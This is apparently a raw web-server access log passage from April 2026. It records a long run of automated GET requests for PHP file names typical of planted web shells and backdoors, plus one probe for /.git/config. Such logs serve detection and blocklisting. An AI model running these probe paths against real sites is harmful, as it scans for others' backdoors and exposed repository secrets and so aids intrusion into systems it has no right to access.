+0300] "GET /wpconf.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:55:11 +0300] "GET /wp-zx.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:55:23 +0300] "GET /mar.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:55:26 +0300] "GET /iov.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:55:31 +0300] "GET /iov.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:55:31 +0300] "GET /jodohghi.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:55:35 +0300] "GET /rendi59.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:55:38 +0300] "GET /rivasqup.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:56:06 +0300] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:56:09 +0300] "GET /Sanskrit.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:56:12 +0300] "GET /bbny.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:56:13 +0300] "GET /bbny.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:56:17 +0300] "GET /ggb.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:56:17 +0300] "GET /ggb.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:56:20 +0300] "GET /zhw.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:56:22 +0300] "GET /casp1.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:56:38 +0300] "GET /knw.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:57:33 +0300] "GET /d.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:57:35 +0300] "GET /d.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:57:37 +0300] "GET /1a.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:57:56 +0300] "GET /cu.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:58:03 +0300] "GET /tramuibs.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:58:06 +0300] "GET /19.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:58:10 +0300] "GET /tramuibs.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:58:10 +0300] "GET /19.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:58:40 +0300] "GET /a1.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:59:14 +0300] "GET /zdd.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:59:45 +0300] "GET /wwx.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:15:00:34 +0300] "GET /shorw.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:15:00:54 +0300] "GET /sad821.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:15:00:56 +0300] "GET /sad8210.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:15:01:38 +0300] "GET /checkout.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:15:01:38 +0300] "GET /fictioner.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:15:01:43 +0300] "GET /ortasekerli1.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:15:02:01 +0300] "GET /file6.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:47:45 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:48:47 +0300] "GET /eetu.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:48:47 +0300] "GET /wp-X1s2e6h3p7.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:49:15 +0300] "GET /aj11.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:49:30 +0300] "GET /tires.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:49:45 +0300] "GET /xroot.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:50:36 +0300] "GET /006.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:51:01 +0300] "GET /11.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:51:21 +0300] "GET /qhupyoon.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:51:23 +0300] "GET /dx.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:51:35 +0300] "GET /fs.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:52:15 +0300] "GET /de.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:52:39 +0300] "GET /f5.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:52:43 +0300] "GET /ptanf.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:53:23 +0300] "GET /axe.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:53:49 +0300] "GET /e3.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:53:52 +0300] "GET /fkohd.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:53:57 +0300] "GET /ws78.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:54:11 +0300] "GET /zo.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:55:41 +0300] "GET /rivasqup.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:55:49 +0300] "GET /dshtv.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:55:52 +0300] "GET /sym403.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:55:56 +0300] "GET /temp1.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:55:59 +0300] "GET /ms-edit.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:56:01 +0300] "GET /ms-edit.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:56:04 +0300] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:56:08 +0300] "GET /Sanskrit.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:56:48 +0300] "GET /fi.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:56:48 +0300] "GET /jlex.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:56:52 +0300] "GET /wp-k7djufwez2.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:58:37 +0300] "GET /bpxrn.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:59:36 +0300] "GET /jq.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:59:36 +0300] "GET /cro.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:15:00:29 +0300] "GET /sko.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:15:00:43 +0300] "GET /shelp.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:15:01:18 +0300] "GET /saxzgf5.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:48:52 +0300] "GET /dragonshell.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:50:07 +0300] "GET /uwu.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:50:14 +0300] "GET /aios-bootstrap.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:50:25 +0300] "GET /one.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:51:08 +0300] "GET /amxloxxr.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:51:31 +0300] "GET /fs.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:51:38 +0300] "GET /6ap7e.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:51:45 +0300] "GET /cilus.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:51:49 +0300] "GET /link.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:51:52 +0300] "GET /fone1.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:52:49 +0300] "GET /ctex1.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:53:01 +0300] "GET /ah25.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:53:33 +0300] "GET /axe.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:54:13 +0300] "GET /zo.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:54:28 +0300] "GET //man.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:55:10 +0300] "GET /lib.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:56:28 +0300] "GET /ftde.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:57:19 +0300] "GET /ay.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:57:21 +0300] "GET /filefuns.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:57:21 +0300] "GET /ay.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:57:24 +0300] "GET /options.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:57:30 +0300] "GET /wp-includes/theme-compat/options.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:57:40 +0300] "GET /1a.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:58:49 +0300] "GET /ws37.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:59:00 +0300] "GET /sky.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:59:22 +0300] "GET /133.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:59:23 +0300] "GET /133.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:15:00:06 +0300] "GET /blox.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:15:02:12 +0300] "GET /redixsx.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:15:02:38 +0300] "GET /1mrX.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:15:02:44 +0300] "GET /x402.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:15:02:49 +0300] "GET /485.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:47:56 +0300] "GET /BDKR28WP.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:48:46 +0300] "GET /wp-X1s2e6h3p7.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:51:57 +0300] "GET /zogy1.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:52:00 +0300] "GET /zoper1.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:52:04 +0300] "GET /atkno.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:52:19 +0300] "GET /insta.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:52:43 +0300] "GET /ptanf.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:53:22 +0300] "GET /w.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:53:59 +0300] "GET /ws78.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:54:15 +0300] "GET /xy.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:54:37 +0300] "GET /xfun.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:54:54 +0300] "GET /vv.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:55:03 +0300] "GET /lib.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:55:14 +0300] "GET /wp-zx.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:55:17 +0300] "GET /000.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:55:26 +0300] "GET /mar.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:55:54 +0300] "GET /sym403.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:55:57 +0300] "GET /temp1.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:56:49 +0300] "GET /jlex.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:56:52 +0300] "GET /wp-k7djufwez2.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:56:55 +0300] "GET /wp-tiroto.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:56:59 +0300] "GET /son.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:57:01 +0300] "GET /99.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:57:05 +0300] "GET /bal.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:57:41 +0300] "GET /rh.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:57:58 +0300] "GET /cu.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:58:27 +0300] "GET /bpxrn.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:58:49 +0300] "GET /a1.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:58:49 +0300] "GET /ws37.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:58:55 +0300] "GET /sky.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:59:42 +0300] "GET /wwx.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:15:00:14 +0300] "GET /berax.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:15:02:19 +0300] "GET /alpha.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:15:02:22 +0300] "GET /bc.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:15:02:38 +0300] "GET /1mrX.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:15:02:47 +0300] "GET /xxx.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:15:02:54 +0300] "GET /drykl.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:15:02:54 +0300] "GET /xxx.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:15:02:20 +0300] "GET /alpha.php HTTP/1.1" 301 795 "-" "-" 185.177.72.62 - - [28/Apr/2026:14:33:19 +0300] "GET /.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (Linux; Android 9; SM-G960W) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.111 Mobile Safari/537.36" 52.178.176.146 - - [28/Apr/2026:14:47:51 +0300] "GET /BDKR28WP.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:48:37 +0300] "GET /ganja.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:48:40 +0300] "GET /eetu.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:49:05 +0300] "GET /samll.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:49:05 +0300] "GET /G-In.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:49:38 +0300] "GET /xroot.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:50:01 +0300] "GET /uwu.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:50:34 +0300] "GET /006.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:50:49 +0300] "GET /kikikoko.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:50:54 +0300] "GET /2026w.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:52:00 +0300] "GET /zogy1.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:52:04 +0300] "GET /zoper1.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:52:04 +0300] "GET /atkno.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:52:24 +0300] "GET /wpxl.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:52:55 +0300] "GET /gelio1.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:54:08 +0300] "GET /ws80.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:55:20 +0300] "GET /000.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:55:46 +0300] "GET /mga.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:55:49 +0300] "GET /dshtv.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:56:44 +0300] "GET /fi.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:57:00 +0300] "GET /wp-tiroto.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:57:01 +0300] "GET /son.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:57:49 +0300] "GET /file-kikikoko.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:15:00:24 +0300] "GET /cdxadmin.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:15:00:24 +0300] "GET /dfre.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:15:00:28 +0300] "GET /sko.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:15:01:30 +0300] "GET /checkout.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:15:01:42 +0300] "GET /ortasekerli1.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:15:02:07 +0300] "GET /wp-asyn-upload.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:15:02:14 +0300] "GET /redixsx.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:48:05 +0300] "GET /card.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:48:05 +0300] "GET /av.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:49:15 +0300] "GET /aj11.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:50:25 +0300] "GET /one.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:50:43 +0300] "GET /kikikoko.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:51:17 +0300] "GET /qhupyoon.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:51:50 +0300] "GET /cilus.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:51:50 +0300] "GET /link.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:52:11 +0300] "GET /de.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:52:38 +0300] "GET /f5.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:53:13 +0300] "GET /ah25.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:53:53 +0300] "GET /fkohd.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:54:22 +0300] "GET /masks.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:54:25 +0300] "GET //man.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:56:34 +0300] "GET /lov.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:56:34 +0300] "GET /lov.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:57:11 +0300] "GET /filefuns.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:57:24 +0300] "GET /options.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:57:28 +0300] "GET /wp-includes/theme-compat/options.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:15:00:00 +0300] "GET /trx24.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:15:00:13 +0300] "GET /cdxadmin.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:15:00:57 +0300] "GET /saxzw9t.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:15:01:48 +0300] "GET /xxa.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:15:01:52 +0300] "GET /xxa.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:15:01:53 +0300] "GET /file6.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:48:20 +0300] "GET /wp-lacoto.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:48:30 +0300] "GET /wp-kikikoko.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:48:37 +0300] "GET /ganja.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:48:58 +0300] "GET /samll.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:49:05 +0300] "GET /G-In.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:49:30 +0300] "GET /tires.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:49:49 +0300] "GET /tea.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:51:55 +0300] "GET /fone1.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:52:58 +0300] "GET /gelio1.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:53:36 +0300] "GET /index0.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:54:18 +0300] "GET /xy.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:54:35 +0300] "GET /xfun.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:55:31 +0300] "GET /jodohghi.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:56:28 +0300] "GET /ftde.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:56:41 +0300] "GET /knw.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:57:09 +0300] "GET /99.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:57:09 +0300] "GET /bal.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:58:15 +0300] "GET /test1.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:59:00 +0300] "GET /bojcdooq.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:59:15 +0300] "GET /zdd.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:59:28 +0300] "GET /jq.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:59:51 +0300] "GET /trx24.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:15:00:20 +0300] "GET /dfre.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:15:00:35 +0300] "GET /shorw.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:15:00:48 +0300] "GET /seyv.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:15:00:52 +0300] "GET /sad821.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:15:01:08 +0300] "GET /sad8rd1.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:15:01:24 +0300] "GET /saxzw9t.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:15:01:24 +0300] "GET /sder5252u.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:15:01:24 +0300] "GET /sderty5u.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:15:01:25 +0300] "GET /hilk.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:15:01:25 +0300] "GET /miso.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:15:01:30 +0300] "GET /yuzuru1.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:15:02:06 +0300] "GET /wp-asyn-upload.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:15:02:25 +0300] "GET /bc.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:15:02:28 +0300] "GET /67.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:47:44 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:48:04 +0300] "GET /av.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:48:30 +0300] "GET /wp-kikikoko.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:48:53 +0300] "GET /dragonshell.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:51:26 +0300] "GET /dx.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:51:42 +0300] "GET /6ap7e.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:52:19 +0300] "GET /insta.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:52:24 +0300] "GET /wpxl.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:52:31 +0300] "GET /admlo.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:52:34 +0300] "GET /admlo.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:52:50 +0300] "GET /ctex1.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:53:38 +0300] "GET /index0.php HTTP/1.1" 301 795 "-" "-" 52.178.176.146 - - [28/Apr/2026:14:53:40 +0300] "GET /wp-01ul.php HTTP/1.1" 301 795 "-" "-" 